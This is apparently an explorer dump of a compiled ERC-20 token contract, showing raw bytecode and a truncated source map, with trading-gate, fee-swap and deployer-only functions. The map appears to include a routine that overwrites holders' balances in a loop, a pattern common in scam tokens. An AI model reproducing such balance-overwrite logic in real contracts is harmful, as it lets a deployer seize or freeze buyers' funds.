206279207a65726f00000000000081525061259b565b905092915050565b60008183116121535782612155565b815b905092915050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561219557612194612887565b5b6040519080825280602002602001820160405280156121c35781602001602082028036833780820191505090505b50905030816000815181106121db576121da61360e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612282573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122a69190612cf4565b816001815181106122ba576122b961360e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061232130601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461148b565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c11d79583600084600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016123a79594939291906137ed565b600060405180830381600087803b1580156123c157600080fd5b505af11580156123d5573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008082846124079190613847565b90508381101561244c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612443906138c7565b60405180910390fd5b8091505092915050565b600061249883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e0d565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361250f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250690613376565b60405180910390fd5b6000811015612553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254a9061349a565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600080831182906125e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d9919061268e565b60405180910390fd5b50600083856125f1919061366c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561263857808201518184015260208101905061261d565b60008484015250505050565b6000601f19601f8301169050919050565b6000612660826125fe565b61266a8185612609565b935061267a81856020860161261a565b61268381612644565b840191505092915050565b600060208201905081810360008301526126a88184612655565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006126ef826126c4565b9050919050565b6126ff816126e4565b811461270a57600080fd5b50565b60008135905061271c816126f6565b92915050565b6000819050919050565b61273581612722565b811461274057600080fd5b50565b6000813590506127528161272c565b92915050565b6000806040838503121561276f5761276e6126ba565b5b600061277d8582860161270d565b925050602061278e85828601612743565b9150509250929050565b60008115159050919050565b6127ad81612798565b82525050565b60006020820190506127c860008301846127a4565b92915050565b6127d781612722565b82525050565b60006020820190506127f260008301846127ce565b92915050565b600080600060608486031215612811576128106126ba565b5b600061281f8682870161270d565b93505060206128308682870161270d565b925050604061284186828701612743565b9150509250925092565b600060ff82169050919050565b6128618161284b565b82525050565b600060208201905061287c6000830184612858565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128bf82612644565b810181811067ffffffffffffffff821117156128de576128dd612887565b5b80604052505050565b60006128f16126b0565b90506128fd82826128b6565b919050565b600067ffffffffffffffff82111561291d5761291c612887565b5b602082029050602081019050919050565b600080fd5b600061294661294184612902565b6128e7565b905080838252602082019050602084028301858111156129695761296861292e565b5b835b81811015612992578061297e888261270d565b84526020840193505060208101905061296b565b5050509392505050565b600082601f8301126129b1576129b0612882565b5b81356129c1848260208601612933565b91505092915050565b600067ffffffffffffffff8211156129e5576129e4612887565b5b602082029050602081019050919050565b6000612a09612a04846129ca565b6128e7565b90508083825260208201905060208402830185811115612a2c57612a2b61292e565b5b835b81811015612a555780612a418882612743565b845260208401935050602081019050612a2e565b5050509392505050565b600082601f830112612a7457612a73612882565b5b8135612a848482602086016129f6565b91505092915050565b60008060408385031215612aa457612aa36126ba565b5b600083013567ffffffffffffffff811115612ac257612ac16126bf565b5b612ace8582860161299c565b925050602083013567ffffffffffffffff811115612aef57612aee6126bf565b5b612afb85828601612a5f565b9150509250929050565b600060208284031215612b1b57612b1a6126ba565b5b6000612b298482850161270d565b91505092915050565b612b3b816126e4565b82525050565b6000602082019050612b566000830184612b32565b92915050565b60008060408385031215612b7357612b726126ba565b5b6000612b818582860161270d565b9250506020612b928582860161270d565b9150509250929050565b6000612ba7826126c4565b9050919050565b612bb781612b9c565b8114612bc257600080fd5b50565b600081359050612bd481612bae565b92915050565b600060208284031215612bf057612bef6126ba565b5b6000612bfe84828501612bc5565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c3d602083612609565b9150612c4882612c07565b602082019050919050565b60006020820190508181036000830152612c6c81612c30565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612ca9601783612609565b9150612cb482612c73565b602082019050919050565b60006020820190508181036000830152612cd881612c9c565b9050919050565b600081519050612cee816126f6565b92915050565b600060208284031215612d0a57612d096126ba565b5b6000612d1884828501612cdf565b91505092915050565b6000604082019050612d366000830185612b32565b612d436020830184612b32565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612dd057808604811115612dac57612dab612d4a565b5b6001851615612dbb5780820291505b8081029050612dc985612d79565b9450612d90565b94509492505050565b600082612de95760019050612ea5565b81612df75760009050612ea5565b8160018114612e0d5760028114612e1757612e46565b6001915050612ea5565b60ff841115612e2957612e28612d4a565b5b8360020a915084821115612e4057612e3f612d4a565b5b50612ea5565b5060208310610133831016604e8410600b8410161715612e7b5782820a905083811115612e7657612e75612d4a565b5b612ea5565b612e888484846001612d86565b92509050818404811115612e9f57612e9e612d4a565b5b81810290505b9392505050565b6000612eb782612722565b9150612ec28361284b565b9250612eef7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612dd9565b905092915050565b6000612f0282612722565b9150612f0d83612722565b9250828202612f1b81612722565b91508282048414831517612f3257612f31612d4a565b5b5092915050565b6000819050919050565b6000819050919050565b6000612f68612f63612f5e84612f39565b612f43565b612722565b9050919050565b612f7881612f4d565b82525050565b600060c082019050612f936000830189612b32565b612fa060208301886127ce565b612fad6040830187612f6f565b612fba6060830186612f6f565b612fc76080830185612b32565b612fd460a08301846127ce565b979650505050505050565b600081519050612fee8161272c565b92915050565b60008060006060848603121561300d5761300c6126ba565b5b600061301b86828701612fdf565b935050602061302c86828701612fdf565b925050604061303d86828701612fdf565b9150509250925092565b7f216465706c6f7965720000000000000000000000000000000000000000000000600082015250565b600061307d600983612609565b915061308882613047565b602082019050919050565b600060208201905081810360008301526130ac81613070565b9050919050565b6000602082840312156130c9576130c86126ba565b5b60006130d784828501612fdf565b91505092915050565b60006130fb6130f66130f1846126c4565b612f43565b6126c4565b9050919050565b600061310d826130e0565b9050919050565b600061311f82613102565b9050919050565b61312f81613114565b82525050565b600060408201905061314a6000830185613126565b61315760208301846127ce565b9392505050565b61316781612798565b811461317257600080fd5b50565b6000815190506131848161315e565b92915050565b6000602082840312156131a05761319f6126ba565b5b60006131ae84828501613175565b91505092915050565b60006040820190506131cc6000830185612b32565b6131d960208301846127ce565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061323c602483612609565b9150613247826131e0565b604082019050919050565b6000602082019050818103600083015261326b8161322f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006132ce602283612609565b91506132d982613272565b604082019050919050565b600060208201905081810360008301526132fd816132c1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613360602583612609565b915061336b82613304565b604082019050919050565b6000602082019050818103600083015261338f81613353565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006133f2602383612609565b91506133fd82613396565b604082019050919050565b60006020820190508181036000830152613421816133e5565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613484602983612609565b915061348f82613428565b604082019050919050565b600060208201905081810360008301526134b381613477565b9050919050565b7f54726164696e67206e6f74206f70656e207965742e0000000000000000000000600082015250565b60006134f0601583612609565b91506134fb826134ba565b602082019050919050565b6000602082019050818103600083015261351f816134e3565b9050919050565b7f416d6f756e7420746f6f20736d616c6c00000000000000000000000000000000600082015250565b600061355c601083612609565b915061356782613526565b602082019050919050565b6000602082019050818103600083015261358b8161354f565b9050919050565b600061359d82612722565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036135cf576135ce612d4a565b5b600182019050919050565b60006135e582612722565b91506135f083612722565b925082820390508181111561360857613607612d4a565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061367782612722565b915061368283612722565b9250826136925761369161363d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006136f9602183612609565b91506137048261369d565b604082019050919050565b60006020820190508181036000830152613728816136ec565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613764816126e4565b82525050565b6000613776838361375b565b60208301905092915050565b6000602082019050919050565b600061379a8261372f565b6137a4818561373a565b93506137af8361374b565b8060005b838110156137e05781516137c7888261376a565b97506137d283613782565b9250506001810190506137b3565b5085935050505092915050565b600060a08201905061380260008301886127ce565b61380f6020830187612f6f565b8181036040830152613821818661378f565b90506138306060830185613126565b61383d60808301846127ce565b9695505050505050565b600061385282612722565b915061385d83612722565b925082820190508082111561387557613874612d4a565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006138b1601b83612609565b91506138bc8261387b565b602082019050919050565b600060208201905081810360008301526138e0816138a4565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aad2f6fe2869776165820df7b9c1148a3a6904ad929adf91d160a36129f50b7164736f6c634300081c0033

Deployed Bytecode Sourcemap

3804:8303:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11430:491;;;;;;;;;;;;;:::i;:::-;;5763:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6927:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4835:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6034:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6580:341;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5945:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11076:186;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6135:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11927:142;;;;;;;;;;;;;:::i;:::-;;10217:159;;;;;;;;;;;;;:::i;:::-;;4665:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2588:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4721:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5852:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6260:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4777:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10382:281;;;;;;;;;;;;;:::i;:::-;;6433:141;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10669:160;;;;;;;;;;;;;:::i;:::-;;10835:235;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11268:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11430:491;2723:12;:10;:12::i;:::-;2713:22;;:6;;;;;;;;;;:22;;;2705:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11487:11:::1;;;;;;;;;;;11486:12;11478:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11570:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11552:55;;;11616:4;11623:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11552:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11536:13;;:110;;;;;;;;;;;;;;;;;;11657:58;11674:4;11689:15;;;;;;;;;;;4456:1;4515:2;:15;;;;:::i;:::-;4499:13;:31;;;;:::i;:::-;11657:8;:58::i;:::-;11726:15;;;;;;;;;;;:31;;;11765:21;11796:4;11802:24;11820:4;11802:9;:24::i;:::-;11827:1;11829::::0;11831:7:::1;:5;:7::i;:::-;11839:15;11726:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11880:4;11866:11;;:18;;;;;;;;;;;;;;;;;;11909:4;11895:11;;:18;;;;;;;;;;;;;;;;;;11430:491::o:0;5763:83::-;5800:13;5833:5;;;;;;;;;;;;;;;;;5826:12;;5763:83;:::o;6927:161::-;7002:4;7019:39;7028:12;:10;:12::i;:::-;7042:7;7051:6;7019:8;:39::i;:::-;7076:4;7069:11;;6927:161;;;;:::o;4835:45::-;;;;:::o;6034:95::-;6087:7;4456:1;4515:2;:15;;;;:::i;:::-;4499:13;:31;;;;:::i;:::-;6107:14;;6034:95;:::o;6580:341::-;6680:4;6697:36;6707:6;6715:9;6726:6;6697:9;:36::i;:::-;6739:10;:22;6750:10;6739:22;;;;;;;;;;;;;;;;;;;;;;;;;6735:156;;6772:119;6781:6;6789:12;:10;:12::i;:::-;6803:87;6839:6;6803:87;;;;;;;;;;;;;;;;;:9;:17;6813:6;6803:17;;;;;;;;;;;;;;;:31;6821:12;:10;:12::i;:::-;6803:31;;;;;;;;;;;;;;;;:35;;:87;;;;;:::i;:::-;6772:8;:119::i;:::-;6735:156;6909:4;6902:11;;6580:341;;;;;:::o;5945:83::-;5986:5;4456:1;6004:16;;5945:83;:::o;11076:186::-;11192:8;;;;;;;;;;;11176:24;;:12;:10;:12::i;:::-;:24;;;11168:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;11225:29;11234:10;11246:7;11225:8;:29::i;:::-;11076:186;;:::o;6135:119::-;6201:7;6228:9;:18;6238:7;6228:18;;;;;;;;;;;;;;;;6221:25;;6135:119;;;:::o;11927:142::-;2723:12;:10;:12::i;:::-;2713:22;;:6;;;;;;;;;;:22;;;2705:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4456:1:::1;4515:2;:15;;;;:::i;:::-;4499:13;:31;;;;:::i;:::-;12001:12;;:23;11993:32;;;::::0;::::1;;12036:25;:23;:25::i;:::-;11927:142::o:0;10217:159::-;2723:12;:10;:12::i;:::-;2713:22;;:6;;;;;;;;;;:22;;;2705:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4456:1:::1;4515:2;:15;;;;:::i;:::-;4499:13;:31;;;;:::i;:::-;10270:12;:22;;;;4456:1;4515:2;:15;;;;:::i;:::-;4499:13;:31;;;;:::i;:::-;10303:14;:22;;;;10341:27;4456:1;4515:2;:15;;;;:::i;:::-;4499:13;:31;;;;:::i;:::-;10341:27;;;;;;:::i;:::-;;;;;;;;10217:159::o:0;4665:49::-;;;;:::o;2588:79::-;2626:7;2653:6;;;;;;;;;;;2646:13;;2588:79;:::o;4721:49::-;;;;:::o;5852:87::-;5891:13;5924:7;;;;;;;;;;;;;;;;;5917:14;;5852:87;:::o;6260:167::-;6338:4;6355:42;6365:12;:10;:12::i;:::-;6379:9;6390:6;6355:9;:42::i;:::-;6415:4;6408:11;;6260:167;;;;:::o;4777:51::-;;;;:::o;10382:281::-;10447:8;;;;;;;;;;;10431:24;;:12;:10;:12::i;:::-;:24;;;10423:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;10480:18;10507:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10480:50;;10541:18;10562:12;:22;;;10593:4;10562:37;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10541:58;;10610:12;:21;;;10632:10;;;;;;;;;;;10644;10610:45;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10412:251;;10382:281::o;6433:141::-;6514:7;6541:9;:16;6551:5;6541:16;;;;;;;;;;;;;;;:25;6558:7;6541:25;;;;;;;;;;;;;;;;6534:32;;6433:141;;;;:::o;10669:160::-;2723:12;:10;:12::i;:::-;2713:22;;:6;;;;;;;;;;:22;;;2705:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10755:1:::1;10731:21;:25;10723:34;;;::::0;::::1;;10776:12;:10;:12::i;:::-;10768:30;;:53;10799:21;10768:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;10669:160::o:0;10835:235::-;2723:12;:10;:12::i;:::-;2713:22;;:6;;;;;;;;;;:22;;;2705:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10922:15:::1;10940:63;10999:3;10940:54;10986:7;10947:8;10940:26;;;10975:4;10940:41;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45;;:54;;;;:::i;:::-;:58;;:63;;;;:::i;:::-;10922:81;;11021:8;11014:25;;;11040:12;:10;:12::i;:::-;11054:7;11014:48;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10911:159;10835:235:::0;;:::o;11268:156::-;11361:8;;;;;;;;;;;11345:24;;:12;:10;:12::i;:::-;:24;;;11337:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;11407:9;11394:10;;:22;;;;;;;;;;;;;;;;;;11268:156;:::o;187:98::-;240:7;267:10;260:17;;187:98;:::o;7094:333::-;7204:1;7187:19;;:5;:19;;;7179:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7285:1;7266:21;;:7;:21;;;7258:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7365:6;7337:9;:16;7347:5;7337:16;;;;;;;;;;;;;;;:25;7354:7;7337:25;;;;;;;;;;;;;;;:34;;;;7403:7;7387:32;;7396:5;7387:32;;;7412:6;7387:32;;;;;;:::i;:::-;;;;;;;;7094:333;;;:::o;7433:1629::-;7537:1;7521:18;;:4;:18;;;7513:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7614:1;7600:16;;:2;:16;;;7592:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7684:1;7675:6;:10;7667:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7742:17;7784:7;:5;:7::i;:::-;7776:15;;:4;:15;;;;:32;;;;;7801:7;:5;:7::i;:::-;7795:13;;:2;:13;;;;7776:32;7772:936;;;7837:13;;;;;;;;;;;7829:21;;:4;:21;;;:55;;;;;7868:15;;;;;;;;;;;7854:30;;:2;:30;;;;7829:55;:75;;;;;7890:10;:14;7901:2;7890:14;;;;;;;;;;;;;;;;;;;;;;;;;7888:16;7829:75;7825:371;;;7934:11;;;;;;;;;;;7926:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;4456:1;8007:2;:15;;;;:::i;:::-;7997:6;:25;;7989:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;8074:76;8146:3;8074:67;8096:15;;8086:9;;:25;8085:55;;8126:14;;8085:55;;;8113:12;;8085:55;8074:6;:10;;:67;;;;:::i;:::-;:71;;:76;;;;:::i;:::-;8062:88;;8169:9;;:11;;;;;;;;;:::i;:::-;;;;;;7825:371;8219:13;;;;;;;;;;;8213:19;;:2;:19;;;8210:150;;8265:79;8340:3;8265:70;8287:16;;8277:9;;:26;8276:58;;8319:15;;8276:58;;;8305:13;;8276:58;8265:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;8253:91;;8210:150;8379:6;;;;;;;;;;;8378:7;:30;;;;;8395:13;;;;;;;;;;;8389:19;;:2;:19;;;8378:30;:45;;;;;8412:11;;;;;;;;;;;8378:45;:77;;;;;8437:18;;8427:9;;:28;8378:77;8374:323;;;8476:28;8507:24;8525:4;8507:9;:24::i;:::-;8476:55;;8574:17;;8553:20;:38;8550:131;;;8614:67;8631:49;8635:6;8642:37;8646:20;8667:11;;8642:3;:37::i;:::-;8631:3;:49::i;:::-;8614:16;:67::i;:::-;8550:131;8457:240;8374:323;7772:936;8731:1;8721:9;:11;8718:161;;;8771:39;8800:9;8771;:24;8789:4;8771:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;8746:9;:24;8764:4;8746:24;;;;;;;;;;;;;;;:64;;;;8851:4;8828:39;;8837:4;8828:39;;;8857:9;8828:39;;;;;;:::i;:::-;;;;;;;;8718:161;8905:27;8925:6;8905:9;:15;8915:4;8905:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;8889:9;:15;8899:4;8889:15;;;;;;;;;;;;;;;:43;;;;8957:40;8975:21;8986:9;8975:6;:10;;:21;;;;:::i;:::-;8957:9;:13;8967:2;8957:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;8943:9;:13;8953:2;8943:13;;;;;;;;;;;;;;;:54;;;;9028:2;9013:41;;9022:4;9013:41;;;9032:21;9043:9;9032:6;:10;;:21;;;;:::i;:::-;9013:41;;;;;;:::i;:::-;;;;;;;;7502:1560;7433:1629;;;:::o;1494:190::-;1580:7;1613:1;1608;:6;;1616:12;1600:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1640:9;1656:1;1652;:5;;;;:::i;:::-;1640:17;;1675:1;1668:8;;;1494:190;;;;;:::o;9329:304::-;9426:9;9421:205;9445:10;:17;9441:1;:21;9421:205;;;9484:17;9504:10;9515:1;9504:13;;;;;;;;:::i;:::-;;;;;;;;9484:33;;9553:13;;;;;;;;;;;9540:26;;:9;:26;;;9532:35;;;;;;9582:32;9592:9;9603:7;9611:1;9603:10;;;;;;;;:::i;:::-;;;;;;;;9582:9;:32::i;:::-;9469:157;9464:3;;;;;;;9421:205;;;;9329:304;;:::o;2798:148::-;2723:12;:10;:12::i;:::-;2713:22;;:6;;;;;;;;;;:22;;;2705:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2905:1:::1;2868:40;;2889:6;::::0;::::1;;;;;;;;2868:40;;;;;;;;;;;;2936:1;2919:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2798:148::o:0;1690:246::-;1748:7;1777:1;1772;:6;1768:47;;1802:1;1795:8;;;;1768:47;1825:9;1841:1;1837;:5;;;;:::i;:::-;1825:17;;1870:1;1865;1861;:5;;;;:::i;:::-;:10;1853:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1927:1;1920:8;;;1690:246;;;;;:::o;1942:132::-;2000:7;2027:39;2031:1;2034;2027:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2020:46;;1942:132;;;;:::o;9639:98::-;9696:7;9723:1;9721;:3;9720:9;;9728:1;9720:9;;;9726:1;9720:9;9713:16;;9639:98;;;;:::o;9743:468::-;5247:4;5238:6;;:13;;;;;;;;;;;;;;;;;;9816:21:::1;9854:1;9840:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9816:40;;9885:4;9867;9872:1;9867:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;9911:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9901:4;9906:1;9901:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;9944:57;9961:4;9976:15;;;;;;;;;;;9994:6;9944:8;:57::i;:::-;10012:15;;;;;;;;;;;:69;;;10096:6;10117:1;10133:4;10152:10;;;;;;;;;;;10177:15;10012:191;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9805:406;5283:5:::0;5274:6;;:14;;;;;;;;;;;;;;;;;;9743:468;:::o;1167:179::-;1225:7;1245:9;1261:1;1257;:5;;;;:::i;:::-;1245:17;;1286:1;1281;:6;;1273:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1337:1;1330:8;;;1167:179;;;;:::o;1352:136::-;1410:7;1437:43;1441:1;1444;1437:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1430:50;;1352:136;;;;:::o;9068:255::-;9160:1;9144:18;;:4;:18;;;9136:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9233:1;9223:6;:11;;9215:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;9309:6;9291:9;:15;9301:4;9291:15;;;;;;;;;;;;;;;:24;;;;9068:255;;:::o;2080:189::-;2166:7;2198:1;2194;:5;2201:12;2186:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2225:9;2241:1;2237;:5;;;;:::i;:::-;2225:17;;2260:1;2253:8;;;2080:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:248::-;369:1;379:113;393:6;390:1;387:13;379:113;;;478:1;473:3;469:11;463:18;459:1;454:3;450:11;443:39;415:2;412:1;408:10;403:15;;379:113;;;526:1;517:6;512:3;508:16;501:27;349:186;287:248;;;:::o;541:102::-;582:6;633:2;629:7;624:2;617:5;613:14;609:28;599:38;;541:102;;;:::o;649:377::-;737:3;765:39;798:5;765:39;:::i;:::-;820:71;884:6;879:3;820:71;:::i;:::-;813:78;;900:65;958:6;953:3;946:4;939:5;935:16;900:65;:::i;:::-;990:29;1012:6;990:29;:::i;:::-;985:3;981:39;974:46;;741:285;649:377;;;;:::o;1032:313::-;1145:4;1183:2;1172:9;1168:18;1160:26;;1232:9;1226:4;1222:20;1218:1;1207:9;1203:17;1196:47;1260:78;1333:4;1324:6;1260:78;:::i;:::-;1252:86;;1032:313;;;;:::o;1351:75::-;1384:6;1417:2;1411:9;1401:19;;1351:75;:::o;1432:117::-;1541:1;1538;1531:12;1555:117;1664:1;1661;1654:12;1678:126;1715:7;1755:42;1748:5;1744:54;1733:65;;1678:126;;;:::o;1810:96::-;1847:7;1876:24;1894:5;1876:24;:::i;:::-;1865:35;;1810:96;;;:::o;1912:122::-;1985:24;2003:5;1985:24;:::i;:::-;1978:5;1975:35;1965:63;;2024:1;2021;2014:12;1965:63;1912:122;:::o;2040:139::-;2086:5;2124:6;2111:20;2102:29;;2140:33;2167:5;2140:33;:::i;:::-;2040:139;;;;:::o;2185:77::-;2222:7;2251:5;2240:16;;2185:77;;;:::o;2268:122::-;2341:24;2359:5;2341:24;:::i;:::-;2334:5;2331:35;2321:63;;2380:1;2377;2370:12;2321:63;2268:122;:::o;2396:139::-;2442:5;2480:6;2467:20;2458:29;;2496:33;2523:5;2496:33;:::i;:::-;2396:139;;;;:::o;2541:474::-;2609:6;2617;2666:2;2654:9;2645:7;2641:23;2637:32;2634:119;;;2672:79;;:::i;:::-;2634:119;2792:1;2817:53;2862:7;2853:6;2842:9;2838:22;2817:53;:::i;:::-;2807:63;;2763:117;2919:2;2945:53;2990:7;2981:6;2970:9;2966:22;2945:53;:::i;:::-;2935:63;;2890:118;2541:474;;;;;:::o;3021:90::-;3055:7;3098:5;3091:13;3084:21;3073:32;;3021:90;;;:::o;3117:109::-;3198:21;3213:5;3198:21;:::i;:::-;3193:3;3186:34;3117:109;;:::o;3232:210::-;3319:4;3357:2;3346:9;3342:18;3334:26;;3370:65;3432:1;3421:9;3417:17;3408:6;3370:65;:::i;:::-;3232:210;;;;:::o;3448:118::-;3535:24;3553:5;3535:24;:::i;:::-;3530:3;3523:37;3448:118;;:::o;3572:222::-;3665:4;3703: